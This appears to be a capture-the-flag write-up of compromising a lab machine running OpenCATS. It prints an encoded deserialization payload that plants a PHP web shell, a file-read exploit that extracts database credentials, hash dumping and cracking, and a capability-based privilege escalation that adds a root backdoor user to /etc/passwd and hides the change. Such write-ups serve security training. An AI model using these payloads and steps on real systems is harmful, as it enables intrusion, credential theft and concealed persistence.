Recon to foothold
Let’s start with a scan
rob:~/ $ sudo masscan -p1-65535,U:1-65535 10.10.28.224 --rate=1000 -e tun0
[sudo] password for rob:
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-09-28 16:13:51 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 3306/tcp on 10.10.28.224
Discovered open port 80/tcp on 10.10.28.224
Discovered open port 22/tcp on 10.10.28.224
And now we can ask nmap
to examine these ports in more detail
rob:~/ $ nmap -A -T4 -v -p22,80,3306 10.10.28.224
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-28 17:19 BST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 17:19
Completed NSE at 17:19, 0.00s elapsed
Initiating NSE at 17:19
Completed NSE at 17:19, 0.00s elapsed
Initiating NSE at 17:19
Completed NSE at 17:19, 0.00s elapsed
Initiating Ping Scan at 17:19
Scanning 10.10.28.224 [2 ports]
Completed Ping Scan at 17:19, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:19
Completed Parallel DNS resolution of 1 host. at 17:19, 0.01s elapsed
Initiating Connect Scan at 17:19
Scanning 10.10.28.224 [3 ports]
Discovered open port 3306/tcp on 10.10.28.224
Discovered open port 80/tcp on 10.10.28.224
Discovered open port 22/tcp on 10.10.28.224
Completed Connect Scan at 17:19, 0.01s elapsed (3 total ports)
Initiating Service scan at 17:19
Scanning 3 services on 10.10.28.224
Completed Service scan at 17:19, 6.04s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.28.224.
Initiating NSE at 17:19
Completed NSE at 17:19, 0.59s elapsed
Initiating NSE at 17:19
Completed NSE at 17:19, 0.09s elapsed
Initiating NSE at 17:19
Completed NSE at 17:19, 0.00s elapsed
Nmap scan report for 10.10.28.224
Host is up (0.011s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c0:d5:41:ee:a4:d0:83:0c:97:0d:75:cc:7b:10:7f:76 (RSA)
| 256 83:82:f9:69:19:7d:0d:5c:53:65:d5:54:f6:45:db:74 (ECDSA)
|_ 256 4f:91:3e:8b:69:69:09:70:0e:82:26:28:5c:84:71:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Empline
3306/tcp open mysql MySQL 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
| Thread ID: 86
| Capabilities flags: 63487
| Some Capabilities: ConnectWithDatabase, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, Support41Auth, SupportsTransactions, SupportsCompression, SupportsLoadDataLocal, InteractiveClient, LongPassword, LongColumnFlag, Speaks41ProtocolOld, ODBCClient, IgnoreSigpipes, FoundRows, DontAllowDatabaseTableColumn, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
| Status: Autocommit
| Salt: $fZpC=H3f*9#BaDo%cH{
|_ Auth Plugin Name: mysql_native_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
Initiating NSE at 17:19
Completed NSE at 17:19, 0.00s elapsed
Initiating NSE at 17:19
Completed NSE at 17:19, 0.00s elapsed
Initiating NSE at 17:19
Completed NSE at 17:19, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.34 seconds
Ok then, no big surprises there, an ssh server on port 22, a web server on port 80 and, the only one that is a little unusual to find exposed externally, a MySQL server on port 3306. All services on their default ports
Let’s check out the web server
We find a page for a
Simple App that we CREATE
Only one of the links at the top of the page goes anywhere, ‘Employment’ linking to job.empline.thm/careers
. Let’s add both empline.thm
and job.empline.thm
to our /etc/hosts
file
Following that link takes us to a new page
A quick google finds us an open source applicant tracking system. Looking for CVEs finds us 3, of which one jumps out as possibly leading to RCE
Taking a closer look at CVE-2021-25294 we find some details
OpenCATS through 0.9.5-3 unsafely deserializes index.php?m=activity requests, leading to remote code execution. This occurs because lib/DataGrid.php calls unserialize for the parametersactivity:ActivityDataGrid parameter. The PHP object injection exploit chain can leverage an __destruct magic method in guzzlehttp
Back to google again and we discover an excellent writeup on the CVE along with an exploit description and PoC
To exploit with vulnerability, a POP gadget chain can be created using
guzzlehttp
. A__destruct
magic method available within/var/www/public/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
can be leveraged to write arbitrary files to the system.
So we can try to use this exploit, let’s stick with the default absolute file path (as it could be mapped to /careers
in the location definition)
rob:Empline/ $ vi shell.php
rob:Empline/ $ phpggc -u --fast-destruct Guzzle/FW1 /var/www/public/shell.php $(pwd)/shell.php
a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A25%3A%22%2Fvar%2Fwww%2Fpublic%2Fshell.php%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A46%3A%22%3C%3Fphp+echo+shell_exec%28%24_GET%5B%27e%27%5D.%27+2%3E%261%27%29%3B+%3F%3E%0A%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3B%7Di%3A7%3Bi%3A7%3B%7D
However we do not get a response from our uploaded shell when we request job.empline.thm/careers/shell.php?e=id
Either we’ve done something wrong, or this version of OpenCATS isn’t vulnerable to this exploit, or we have not written our shell.php
file to the right absolute path in the filesystem
-
We can check the version at
job.empline.thm
We have version 0.9.4 and the CVE states that the vulnerability exists for versions through 0.9.5-3, so we should be in scope with this exploit
-
To find the right path however, that’s a lot trickier…
In every box there is a point where we seem to end up staring at the screen hoping that something new will suddenly pop out. It rarely does though, a better tactic is to go back to the beginning and re-enumerate to see if anything has been missed - try ALL the things!
In doing this something looked interesting from our earlier CVE search
CVE-2019-13358 describes a method of reading files on the underlying operating system, that could get us the right path to upload to perhaps, let’s give it a try
A little googling for exploits of this vulnerability finds us a handy exploit-db entry. Let’s download it and see what we can do
rob:Empline/ $ python3 cve-2019-13358.py --url job.empline.thm --file /etc/passwd
root❌0:0:root:/root:/bin/bash
--snip--
mysql❌111:116:MySQL Server,,,:/nonexistent:/bin/false
george❌1002:1002::/home/george:/bin/bash
Excellent, we can read the file system!
Following the default Apache2 installation on Ubuntu we can find the main configuration file in /etc/apache2/apache2.conf
. From here we can verify that the enabled sites are configured in the usual place
rob:Empline/ $ python3 cve-2019-13358.py --url job.empline.thm --file /etc/apache2/apache2.conf
--snip--
# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf
--snip--
We don’t know the filename for the site, but a wildcard can rescue us
rob:Empline/ $ python3 cve-2019-13358.py --url job.empline.thm --file /etc/apache2/sites-enabled/*.conf
--snip--
<VirtualHost *:80>
ServerAdmin admin@empline.com
ServerName job.empline.thm
ServerAlias www.job.empline.thm
DocumentRoot /var/www/opencats/
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Now, browsing the code in the OpenCATS Github repo we find a config.php
file which promises to contain the database credentials. Recovering that from the target gicves us some credentials
rob:Empline/ $ python3 cve-2019-13358.py --url job.empline.thm --file /var/www/opencats/config.php
<?php
/*
* CATS
* Configuration File
/* Database configuration. */
define('DATABASE_USER', 'james');
define('DATABASE_PASS', 'ng6pUFvsGNtw');
define('DATABASE_HOST', 'localhost');
define('DATABASE_NAME', 'opencats');
Now we can use these found creds, james:ng6pUFvsGNtw
to atttempt a remote database connection. This is why databases are usually not exposed to the internet!
rob:Empline/ $ mysql -h empline.thm -u james -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 120
Server version: 10.1.48-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
Excellent, we’re in. Next we want to retrieve the database and table that contain credentials
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| opencats |
+--------------------+
2 rows in set (0.065 sec)
MariaDB [(none)]> use opencats;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [opencats]> show tables;
+--------------------------------------+
| Tables_in_opencats |
+--------------------------------------+
| access_level |
| activity |
| activity_type |
| attachment |
| calendar_event |
--snip--
| user |
--snip--
| zipcodes |
+--------------------------------------+
54 rows in set (0.074 sec)
Now we can extract any available credentials from the application database
MariaDB [opencats]> select username, password, access_level from user;
-------------------------------------------------------------------+
| user_name | password | access_level |
+----------------+----------------------------------+--------------+
| admin | b67b5ecc5d8902ba59c65596e4c053ec | 500 |
| cats@rootadmin | cantlogin | 0 |
| george | 86d0dfda99dbebc424eb4407947356ac | 400 |
| james | e53fbdb31890ff3bc129db0e27c473c9 | 200 |
+----------------+----------------------------------+--------------+
4 rows in set (0.011 sec)
We can also grab the access_level table so we know what each user can do
MariaDB [opencats]> select access_level_id, short_description from access_level;
+-----------------+---------------------+
| access_level_id | short_description |
+-----------------+---------------------+
| 0 | Account Disabled |
| 100 | Read Only |
| 200 | Add / Edit |
| 300 | Add / Edit / Delete |
| 400 | Site Administrator |
| 500 | Root |
+-----------------+---------------------+
6 rows in set (0.012 sec)
If we try cracking these hashes, using the excellent sth
tool we find that we can crack george
’s password hash
rob:Empline/ $ sth -t '86d0dfda99dbebc424eb4407947356ac'
objs is [<name_that_hash.HashTypeObj.HashType object at 0x7f2ee10bf1c0>]
_____ _ _______ _ _ _ _ _
/ ____| | | |__ __| | | | | | | | | |
| (___ ___ __ _ _ __ ___| |__ ______| | | |__ __ _| |_ ______| |__| | __ _ ___| |__
\___ \ / _ \/ _` | '__/ __| '_ \______| | | '_ \ / _` | __|______| __ |/ _` / __| '_ \
____) | __/ (_| | | | (__| | | | | | | | | | (_| | |_ | | | | (_| \__ \ | | |
|_____/ \___|\__,_|_| \___|_| |_| |_| |_| |_|\__,_|\__| |_| |_|\__,_|___/_| |_|
https://twitter.com/bee_sec_san
https://github.com/HashPals/Search-That-Hash
https://twitter.com/Jayy_2004
86d0dfda99dbebc424eb4407947356ac
Text : pretonnevippasempre
And george
is an administrator, excellent!
And we can prove this by logging in
Let’s check now if george
reuses his credentials by trying our found creds, george:pretonnevippasempre
with SSH
rob:Empline/ $ ssh george@empline.thm
The authenticity of host 'empline.thm (10.10.216.176)' can't be established.
ECDSA key fingerprint is SHA256:n1VBkoadDagInc43DVI4nN/rdenjZOWjrLxHworrEqk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'empline.thm,10.10.216.176' (ECDSA) to the list of known hosts.
george@empline.thm's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-147-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Sep 29 01:12:47 UTC 2021
System load: 0.0 Processes: 96
Usage of /: 4.4% of 38.71GB Users logged in: 0
Memory usage: 26% IP address for eth0: 10.10.216.176
Swap usage: 0%
28 updates can be applied immediately.
7 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
george@empline:~$ id
uid=1002(george) gid=1002(george) groups=1002(george)
And we’re in! Let’s quickly grab the user flag
george@empline:~$ cat user.txt
`REDACTED`
Privesc to root
While doing some manual enumeration we find an interesting capability set on the ruby
binary
george@empline:/$ getcap -r / 2>/dev/null
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/local/bin/ruby = cap_chown+ep
While CAP_SETUID
would be much more useful, surely there must be something we can do with this, the obvious one being to access the shadow file by changing it’s owner/group
george@empline:~$ /usr/local/bin/ruby -e 'require "fileutils"; FileUtils.chown "george", "george", "/etc/shadow"'
george@empline:~$ cat /etc/shadow
root:$6$1cvOcl49$/czKHKvBaz450J3YnIvkqexT.StvdgUWzPr5X1Aitt/kxgF/i78wziX3zJQ0y8Kg9y749Qjr5EFiHmTdPsIJH/:18828:0:99999:7:::
--snip--
george:$6$hvNAbVRK$xSiRR/fV0avpUrhnTq72LqFygy7RDgicbojr2CZeQHKqAHscFlMEy2RJTCkuTme32OPJ3TiX1xBpv7LmZqnnc1:18828:0:99999:7:::
george@empline:~$ /usr/local/bin/ruby -e 'require "fileutils"; FileUtils.chown "root", "shadow", "/etc/shadow"'
george@empline:~$ ls -la /etc/shadow
-rw-r----- 1 root shadow 1081 Jul 20 19:48 /etc/shadow
By changing it back again there is no evidence left, unless someone looks at the logs of course :)
So, we have the root hash now, let’s see if we can crack it
rob:Empline/ $ john shadow -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:01:57 3.83% (ETA: 03:50:14) 0g/s 5404p/s 5404c/s 5404C/s kotler..kirsy
0g 0:00:03:07 6.42% (ETA: 03:47:52) 0g/s 5576p/s 5576c/s 5576C/s REYNA213..PORTTER
0g 0:00:04:32 9.75% (ETA: 03:45:47) 0g/s 5727p/s 5727c/s 5727C/s loveastrid..love120114
0g 0:00:06:04 13.36% (ETA: 03:44:44) 0g/s 5775p/s 5775c/s 5775C/s Passion26..POODY4X
0g 0:00:08:07 18.21% (ETA: 03:43:54) 0g/s 5802p/s 5802c/s 5802C/s walnutwater619..wally4582
0g 0:00:11:32 26.87% (ETA: 03:42:14) 0g/s 5812p/s 5812c/s 5812C/s sammydr26105..sammy#01
0g 0:00:15:48 37.57% (ETA: 03:41:22) 0g/s 5826p/s 5826c/s 5826C/s miluisita1982..milosavlevici
0g 0:00:17:18 41.33% (ETA: 03:41:10) 0g/s 5819p/s 5819c/s 5819C/s lovericardo_18..lover689
...
And no, we can’t - at least not quickly
Let’s try another method, adding an additional root user to the /etc/passwd
file
First we create a new password
george@empline:~$ openssl passwd -1 -salt r00t p@ssword
$1$r00t$gJZ33v4nioMeATscLmU.N0
Now change permissions on the /etc/passwd
file and add a new user with the password we just created
george@empline:~$ /usr/local/bin/ruby -e 'require "fileutils"; FileUtils.chown "george", "george", "/etc/passwd"'
george@empline:~$ echo 'r00t:$1$r00t$gJZ33v4nioMeATscLmU.N0:0:0::/root:/bin/bash' >> /etc/passwd
george@empline:~$ /usr/local/bin/ruby -e 'require "fileutils"; FileUtils.chown "root", "root", "/etc/passwd"'
With this done, and covered up, we can switch to our new root user and grab the root flag
george@empline:~$ su - r00t
Password:
root@empline:~# id
uid=0(root) gid=0(root) groups=0(root)
root@empline:~# cat root.txt
`REDACTED`